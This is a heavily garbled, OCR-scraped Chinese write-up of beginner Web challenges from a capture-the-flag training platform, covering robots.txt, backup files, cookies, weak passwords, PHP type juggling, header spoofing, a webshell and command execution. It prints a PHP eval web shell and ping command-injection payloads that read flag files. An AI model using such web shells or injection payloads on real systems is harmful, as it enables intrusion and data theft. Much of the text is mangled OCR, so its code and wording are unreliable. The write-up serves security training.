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<html lang="en">
» <head>..</head>
v <body style>
> <script>.</script>
<h1>FLAG is not here</hl>
<!— cyberpeace{430e731d5db478ab369ba14007dd49b8} ——> == $0
» <div class="boy-music-button” id="boy-music-button'>..</div>
» <div class="boy-music-info" id="boy-music-info"=>..</div=>
</body=>
</html>
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Adblock Plus

HackBar
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robots
#Erobots.txt, disallowiH php3Cfh, Viialfflag
< C A FRZ [ 111.200.241.244:64436/robots.txt
B #% e - )o. B5CF B xeE 5 reeh 5 e B %2R B s B5E8E E

User-agent: *
Disallow:
Disallow: flag_ls_h3re.php

®e0® REEE- x | () G280 x | [@ g x | () BEsE (x| ) BTN
< C A FEZL | 111.200.241.244:64436/f1ag_1s_h3re.php

B #% O mEHEC - )>. BCcr B 22E B 22si B Redk BRemfr B

cyberpeace{ac79312299aa2118b52fa75ae6b44481}

backup

R B AR B B 2 A

LA WEEE X | (9 AFRE x | [@ wuEsy x | 9 wEwe x | () BTEG x | () ctfmisc x | () (TR x | [@ mEy x | () 2FRE x | @ MrBea x | © R x @ &HuH
> C A T%£ | 111.200.241.244:58706 * ’a B 1

B #% O weEmec - )>. BcF B 2B B 2esi B RexE B 22nR Tools B5 mE B xtxk B O W3

{R&N;Bindex.phpii& {5 X
H&m?

php %43 SCHEA% A B . php~#l.php.bak
urlj5 in_Lindex.php.bak T #4&# 3x 4



: ‘-index.php.bak

B IEHR LS php, B Flflag
index.php — htdocs
er.php addUser.php login.php @ dblink.inc.php index.php ~/Downloads X > O

Users > clayOx7779 > Downloads > index.php
html

head
meta charset="UTF-8"
title>&MXh</title
link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.r
style
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;

}
style
head
body
h3>{R&NEindex. phplI&H XHBIF? </h3
<?php
18 $flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
7>
body
html

https://blog.csdn.net/qq_45924653
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1IE7E{#HA#Y Cookie

VT BF

M Cookie RRAEMBEBULMTIRIZEMN

v 111.200.241.244
v B Cookie
& look-here
BR look-here
ES cookie.php
5 111.200.241.244
s /

& T XA cookie.php, #TH I Hi#E~See the http response



& O Elements  Console

® © W Q ([ Preservelog

(J Hide data URLs m Fetch/XHR JS CSS Img Media Font Doc WS Wasm Manifest Other
20000 ms

Filter
| 10000 ms

Name

|| cookie.php
|® music32.png
|| inject.js

|| injectjs

|%| data:image/png;base...

v Request Headers

5requests | 7.1 kB transferred

X

F12%& W 53k 45 Flflag
disabled_button

NREILHIRE, 200 T4, KedisabledMFk %115 Bliflag

& d
<html>
» <head>..</head>
v <body style>

<h3>— P REEEAIRE</h3>
v <form action method="post">

Elements  Console  Sources

Network

Sources Network Performance Memory Application Security Lighthouse Adblock Plus HackBar HackTools

() Disable cache Nothrotting v = 4 ¥

(0 Has blocked cookies (] Blocked Requests

30000 ms 40000 ms 50000 ms 60000 ms 70000 ms 80000 ms 90000 ms 100000 ms

Headers Preview Response Initiator ~ Timing  Cookies
Content-Encoding: gzip

Content-Length: 253

Content-Type: text/html

Date: Tue, 27 Jul 2021 09:27:16 GMT

Flag: cyberpeace{99f571a9acd230fc488a8ba%e368b746}
Keep-Alive: timeout=4

Proxy-Connection: keep-alive

Server: Apache/2.4.7 (Ubuntu)

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.9-1ubuntu4.26

View source

110000 ms

120000 ms 1

Accent: text/html.annlication/xhtml+xml.annlication/xml:0=0.9.1imaae/avif.imace/wehn.imace/anna.x/x:0=A.8.annlication/sianed-exchanae:v=h3:0=0.9

— T HERAIRE

flag

cyberpeace{d4f4c5f6e9eb38379681b661d954b04b}

Performance ~ Memory ~ Application  Security  Lighthouse  Adblock Plus  HackBar  HackTools

<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth'> == $0

</form=>

<h3>cyberpeace{d4f4c5f6e9eb38379681b661d954b04b}</h3>
boy-music-button">..</div>
» <div class="boy-music-info" id="boy-music-info">.</div>

» <div class="boy-nusic-button"

</body>
</html>

weak auth

I R—ANEF T H

ol|[B2|| &
Styles  Computed Layout Event Lister
Filter thov .cls

element.style {
height: 50px;
width: 200px;

.btn- bootstrap.mil
default.disabled, .btn-default[disal
fieldset[disabled] .btn-default, .b’
default.disabled:hover, .btn-
default[disabled] :hover,
fieldset[disabled] .btn-default:hovi
.btn-default.disabled:focus, .btn-
default[disabled]:focus,
fieldset[disabled] .btn-default:foci
.btn-default.disabled:active, .btn-
default[disabled]:active,
fieldset[disabled] .btn-default:act
.btn-default.disabled.active, .btn-




Login

lisername
password
login
reset
5
£ T TR

1
2 <html lang="en">
3| <head>
4 <meta charset="UTF-8">
5 <title>weak auth</title>
6 <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
7 <style>
8 body{
9 margin-left:auto;
10 margin-right:auto;
1 margin-TOP:100PX;
12 width:20em;
13 }
14 </style>
15 </head>
16| <body>
17 <hl>Login</h1l>
18 <form class="form-inline" method="post" action="./check.php">
19
20 <div class="input-group">
21 <input style="width:280px;" id="username" type="text" class="form-control" placeholder="username" aria-describedby="basic-addonl" name="username">
22 </div>
23 <br/>
24 <br/>
25 <div class="input-group">
26 <input style="width:280px;" id="password" type="password" class="form-control" placeholder="password" aria-describedby="basic-addonl" name="password">
27 </div>
28 <br/>
29 <br/>
30 <button style="width:280px;" class="btn btn-default">login</button>
31
32 <br/>
33 <br/>
34 <button style="width:280px;" class="btn btn-default" type="reset">reset</button>
35
36
37| </form>
38
39  </body>
40 | </html>

action./check.php, 7187 — TFcheck.phpE T T IHi%
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2 <html lang="en">

3 | <head>

4 <meta charset="UTF-8">

5 <title>weak auth</title>
6 </head>

7 | <body>

8

9 <!--maybe you need a dictionary-->

12 | </body>
13| </html>

RAARTE TR, FERUBEAFRIEN, BEFRT —TE%EMadmin 1234564 T ... 8RR IS IR IS I

LN REEE x | () agg&E x | [@ pugEse x | O wEer x| ) BTSN x|

&« C A AE2 | 111.200.241.244:62396/check.php
B2 #% ) mEmE¢ - )>. B CTF B0 %2E O 2254 O 22852 O %285 3

cyberpeace{9ac7e6a70228a39c2352e57dd1de6d55}

simple_php

—BphpfRig



show_source(__FILE_);

include("config.php");
@ ['a'];
@ ['b'];
© and ){

echo ;

1
J

if(is_numeric($b)){
exit();

}
if( 1234){
echo
}

gethiE3kBabZ &, R a==0and affitiflag! bin R EHFEE, b>1234%;Hflag2
PHPHI§5R B LLEL, urldhin k2% ?a=c&b=1235a%i15 lflag T

r

0@ REEE- X | () RFRES x | [@ wugEse x | G BaEeE ( x
3 C A FR2 | 111.200.241.244:58311/?a=c&b=1235a
B #% () mEREC - )>. B CTF B R2E B 2250 B 22z B8

<?php
show source( FILE );
include("config.php");
$a=@$ GET['a'];
$b=@$ GET['b'];
if($a==0 and $a){

echo $flagl;

}

if(is_numeric($b)){
exit();

}

if($b>1234){
echo $flag2;
}

?>

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

BRI N 45 BB B T Sk 30 R 0 LLa=03F H 744 B8 cF7 78 BT LA I8 5 Atrue Hifalg1 b=1235a b>1234 3 B A A4 Hiflag2

get_post



# 2 postiE R 71k, urlH f5 ?2a=1

r

e REEE-CC x | () AF2EA  x | [@ wugmses x | (O weEse o x| 0 BTENE X
C @ 111.200.241.244:647047a=1

BB #% ) mElEC - )o.. EECF B %2B B 2256 B 2exiE B 22%F B Tools B @

IBAGETANIER— 1R Na, [EATHNEE

postF Rk b=275 Fflag

BHGETARRR— TR NaER1NESE
EBUPOSTAAMBERRZ— TR b, ERN2HNES
cyberpeace{d3df1e3e284de06ba58c9c855049e66¢}

[w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse Adblock Plus HackBar HackTools

Encryption ¥ Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

) Load URL http://111.200.241.244:64704/?a=1
1§ split URL
Post data (] Referer [J User Agent () Cookies Clear All
b=2
Z

FTIF T Udip bbb 24259 123.123.123.123
Fi x-forwarded-for-headerdfi {4 ¥ in P ik
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IP Address:
123.123.123.123

Recently used IPs:
e 123.123.123.123

Send the following headers:

«| X-Forwarded-For
X-Originating-IP
X-Remote-IP
X-Remote-Addr

N5 R 3R R 06 Sk B hitps:/www.google.com, FREL & iReferersk M

[ ) [ ) Burp Suite Professional v2021.2 - Temporary Project - licensed to surferxyz
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

Intercept HTTP history WebSockets history Options

/ Request to http://111.200.241.244:57016

rowss (o EIENEN  eion | ovensrowsr | (Gommertsion % @

pretty [ W Actions v INSPECTOR @ x
1 GET / HTTP/1.1
2 Host: 111.200.241.244:57016 Query Parameters (0) v
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Body Parameters (0) v
Chrome/92.0.4515.107 Safari/537.36
6 Accept: .
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/si Request Cookies (1) v
gned-exchange;v=b3;g=0.9
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;g=0.9,zh-CN;q=0.8,2zh;g=0.7 Rsqusstiiisadsisii0) ~
9 Cookie: look-here=cookie.php
10 x-forwarded-for: 123.123.123.123 NAME VALUE
E Connection: close Host 111.200.241.244:57016 >
13 Cache-Control max-age=0 >
Upgrade-Insecure-Req... 1 >
User-Agent Mozilla/5.0 (Macintosh; ... >
Accept text/html,application/xh... >
Accept-Encoding ozip, deflate >
Accept-Language en-US,en;q=0.9,zh-CN;... >
Cookie look-here=cookie.php >
x-forwarded-for 123.123.123.123 >
Connection close >

Remove

WA Referersk B AT 0

INSPECTOR %



webshell

Query Parameters (0)

Body Parameters (0)

Request Cookies (1)

Request Headers (10)

NAME
Host

Cache-Control

Upgrade-Insecure-Req...

User-Agent
Accept
Accept-Encoding
Accept-Language
Cookie
x-forwarded-for

Connection

Name:

Referer

Value:

VALUE
111.200.241.244:57016

max-age=0

1

Mozilla/5.0 (Macintosh; ...
text/html,application/xh...

gzip, deflate

en-US,en;q=0.9,zh-CN;...

look-here=cookie.php
123.123.123.123

close

https://www.google.con|

oo | (IR

Forward T % Zlflag

L T T Y S T L T T T T



W &R
Pr<x18 Flwebshellig ?

<?php @eval($_POST['shell);?>
8 B R B8 —H1EAR D g index phpH, B(SIE—T

M %%5EEUE (http://111.200.241.244:55407 /index.php)
BRE xEFT O EE

B ERESE

URLithiE * http://111.200.241.244:55407/index.php
EREY * shell
e pE S
wmiSIRE UTF8
HEHRRE PHP
HmiD2E

* default (1" #7F)

random (7 #7F)
base64

R IERER

o HithigE

BER L AT LUE Blflag.txt T

= ELE
v

v

v
~
A



0@ PENS)

« B8 3 111.200.241.244 03 111.200.241.244 £3111.200.241.244
D B&5I% (0) < DxHsE (2)
=3/ OFE v~ AMLEE CZHEF @AFEFE ABE v jvar/www/html/
= var
B4 HHA
= www
B/ bt @ flag.txt 2021-07-27 10:24:11
index.php 2018-09-27 04:02:04
= E50E

command_execution

ping— T4 # & A& ping31k

PING

RRIA B Rpinghuttbit

PING

ping -c 3 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 tt1=64 time=0.057 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.049 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.050 ms

—— 127.0.0.1 ping statistics ——

3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.049/0.052/0.057/0.003 ms

BRATEEfindir 4

Kl R
44b 0664
539 b 0664



PING

FHA T REpingAyitit

PING

ping —-c¢ 3 127.0.0.1&find / —-name flag.txt

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 tt1=64 time=0.062 ms
/home/flag. txt

64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.049 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms

——— 127.0.0.1 ping statistics ———
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.049/0.053/0.062/0.008 ms

flag.txt7fEhome T cat /nome/flag.ixt 15 Flflag

PING

TR R Epinghutbilt

PING

ping -c¢ 3 127.0.0.1&cat /home/flag.txt

cyberpeace{1d8b06691b5d89018521503ec492e04c}PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 tt1=64 time=0.04@0 ms

64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.036 ms

64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.047 ms

——— 127.0.0.1 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.036/0.041/0.047/0.004 ms

simple_js

IOT W # & LA, F— T REEG



>JS</ >
< ="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab pass_enc.split(',");
var tab2 pass.split(',");var i,j,k,1=0,m,n,0,p e 057 tab.length;
k =3+ (1) + (n=0);
n = tab2.length;
for(i (0=0); i (k j n); i ){o = tab[i-1];p String.fromCharCode((o = tab2[i]

if(i 5)break;}
for(i (0=0); i (k Jj n); i ){
o = tab[i-1];
if(i i k-1)
String.fromCharCode( (o tab2[i]));
)
p String.fromCharCode(tab2[17]);
pass p;return pass;
)i
String["fromCharCode" ] (dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\X
PIAVENAVENAVETAVIIAVENAVENAVEIAVVIAVENAVE AV EVAV VIV EVAVE LAV VIAVE LAV E - BB DN

h = window.prompt('Enter password');
alert( dechiffre(h) );

BAT A HTHIE, DEMERREERGET



>JS</ >
< ="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab pass_enc.split(',");//tab#t4l
var tab2 pass.split(',");var i,j,k,1=0,m,n,0,p e 057 tab.length;//j=11
k =3 (1) (n=0);//j=11,1=0,n=0 k=11
n = tab2.length;//n=18
/*
for(i=0;1<18;1++)
E— KB
{o=tab[0];p+=String.fromCharCode((o=tab2[0]))
if(i1 == 5)break;}
# BT ET ATt ab i (E FE IR S ST TR E B e 58— K PAT R HIF for B4 4T 2 KBkt
*/
for(i (0=0); i (k j n); i ){o = tab[i-1];p String.fromCharCode((o = tab2[i]

if(i 5)break;}
/*
for(i=0;1<18;1++){
o=tab[i-L]
if(i1 > 5 & 1 < k-1)
p += String.fromCharCode((o = tab2[1i]));
}
L [BTHIfor TG B AT 55 B2 FAUX PASSWORD HAH
*/
for(i (0=0); 1i (k j n); i ){
o = tab[i-1];
if(i i< k-1)
String.fromCharCode((o = tab2[i]));
¥
p String.fromCharCode(tab2[17]);
pass = p;return pass;
/*p+=String.fromCharCode (65)
p=FAUX PASSWORD HAH + A
pass BtEE ZIHIH & K2
*/
b
String["fromCharCode" ] (dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\X
PIAVENAVEIAVEV AV VLAV ENAVENAVEI AV IIAVEIAVEL AV ETAV VLAV EVAVELAVIIAVE AV E DD

h = window.prompt('Enter password');
alert( dechiffre(h) );

BJE R T HERNMA 2 HFELHE IR, BAVEWAKtabfE REP A2 Ptab2B R T, ARG HRIIX —BIHEARIT IR
ib]

String["fromCharCode" ] (dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x|
EMAVENAVEIAVIIAVENAVEIAVEIAVVIAVENAVE AV EVAV VLAV EVAVE LAV VIAVELAVE A DK

HA pythonkt 3 F




S BV ERAVERAVVIAVERAV EIAVVIAV E LAV EZ AV VIAVETAV ELAVVIAVE AV E AV E LAV VIV EI AV E LAV VIAV E AV E VAV E VAV PIAV E YAV ENAV EI AV Y/
AV EIAVELAVETAV CIAVEIAVELEAVPIAVELAVE]‘ D
print(s)
n [55,56,54,79,115,69,114,116,107,49,50]
flag
for i in n:
b chr(i)
flag b
print(flag)

> python3 simple_js.py
55,56,54,79,115,69,114,116,107,49,50
7860sErtkl2

ANEBBRERS, MELILE.
—[FEAT, hnah!



	攻防世界(Web)
	view_source
	robots
	backup
	cookie
	disabled_button
	weak_auth
	simple_php
	get_post
	xff_referer
	webshell
	command_execution
	simple_js

